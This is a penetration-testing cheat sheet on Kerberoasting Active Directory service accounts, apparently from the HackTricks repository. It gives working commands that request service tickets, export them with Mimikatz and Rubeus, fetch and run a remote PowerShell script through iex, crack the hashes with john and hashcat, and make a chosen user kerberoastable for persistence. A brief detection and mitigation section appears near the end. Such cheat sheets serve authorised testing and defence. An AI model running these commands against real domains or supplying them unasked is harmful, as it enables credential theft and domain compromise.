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https://github.com/carlospolop/hacktricks
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83 lines
4.1 KiB
Markdown
83 lines
4.1 KiB
Markdown
# Kerberoast
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## Kerberoast
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The goal of **Kerberoasting** is to harvest **TGS tickets for services that run on behalf of user accounts** in the AD, not computer accounts. Thus, **part** of these TGS **tickets are** **encrypted** with **keys** derived from user passwords. As a consequence, their credentials could be **cracked offline**.
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You can know that a **user account** is being used as a **service** because the property **"ServicePrincipalName"** is **not null**.
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Therefore, to perform Kerberoasting, only a domain account that can request for TGSs is necessary, which is anyone since no special privileges are required.
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**You need valid credentials inside the domain.**
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{% code title="From linux" %}
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```bash
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msf> use auxiliary/gather/get_user_spns
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GetUserSPNs.py -request -dc-ip 192.168.2.160 <DOMAIN.FULL>/<USERNAME> -outputfile hashes.kerberoast # Password will be prompted
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GetUserSPNs.py -request -dc-ip 192.168.2.160 -hashes <LMHASH>:<NTHASH> <DOMAIN>/<USERNAME> -outputfile hashes.kerberoast
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```
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{% endcode %}
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{% code title="From Windows, from memory to disk" %}
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```bash
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Get-NetUser -SPN | select serviceprincipalname #PowerView, get user service accounts
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#Get TGS in memory
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Add-Type -AssemblyName System.IdentityModel
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New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ServicePrincipalName" #Example: MSSQLSvc/mgmt.domain.local
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klist #List kerberos tickets in memory
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Invoke-Mimikatz -Command '"kerberos::list /export"' #Export tickets to current folder
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```
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{% endcode %}
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{% code title="From Windows" %}
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```bash
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Request-SPNTicket -SPN "<SPN>" #Using PowerView Ex: MSSQLSvc/mgmt.domain.local
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.\Rubeus.exe kerberoast /outfile:hashes.kerberoast
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iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1")
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Invoke-Kerberoast -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASCII hashes.kerberoast
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```
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{% endcode %}
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### Cracking
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```text
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john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
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hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
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./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi
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```
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### Persistence
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If you have **enough permissions** over a user you can **make it kerberoastable**:
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```bash
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Set-DomainObject -Identity <username> -Set @{serviceprincipalname='just/whateverUn1Que'} -verbose
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```
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You can find useful **tools** for **kerberoast** attacks here: [https://github.com/nidem/kerberoast](https://github.com/nidem/kerberoast)
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If you find this **error** from Linux: **`Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)`** it because of your local time, you need to synchronise the host with the DC: `ntpdate <IP of DC>`
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### Mitigation
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Kerberoast is very stealthy if exploitable
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* Security Event ID 4769 – A Kerberos ticket was requested
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* Since 4769 is very frequent, lets filter the results:
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* Service name should not be krbtgt
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* Service name does not end with $ \(to filter out machine accounts used for services\)
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* Account name should not be machine@domain \(to filter out requests from machines\)
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* Failure code is '0x0' \(to filter out failures, 0x0 is success\)
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* Most importantly, ticket encryption type is 0x17
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* Mitigation:
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* Service Account Passwords should be hard to guess \(greater than 25 characters\)
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* Use Managed Service Accounts \(Automatic change of password periodically and delegated SPN Management\)
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```bash
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Get-WinEvent -FilterHashtable @{Logname='Security';ID=4769} -MaxEvents 1000 | ?{$_.Message.split("`n")[8] -ne 'krbtgt' -and $_.Message.split("`n")[8] -ne '*$' -and $_.Message.split("`n")[3] -notlike '*$@*' -and $_.Message.split("`n")[18] -like '*0x0*' -and $_.Message.split("`n")[17] -like "*0x17*"} | select ExpandProperty message
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```
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**More information about Kerberoasting in ired.team in** [**here** ](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/t1208-kerberoasting)**and** [**here**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/kerberoasting-requesting-rc4-encrypted-tgs-when-aes-is-enabled)**.**
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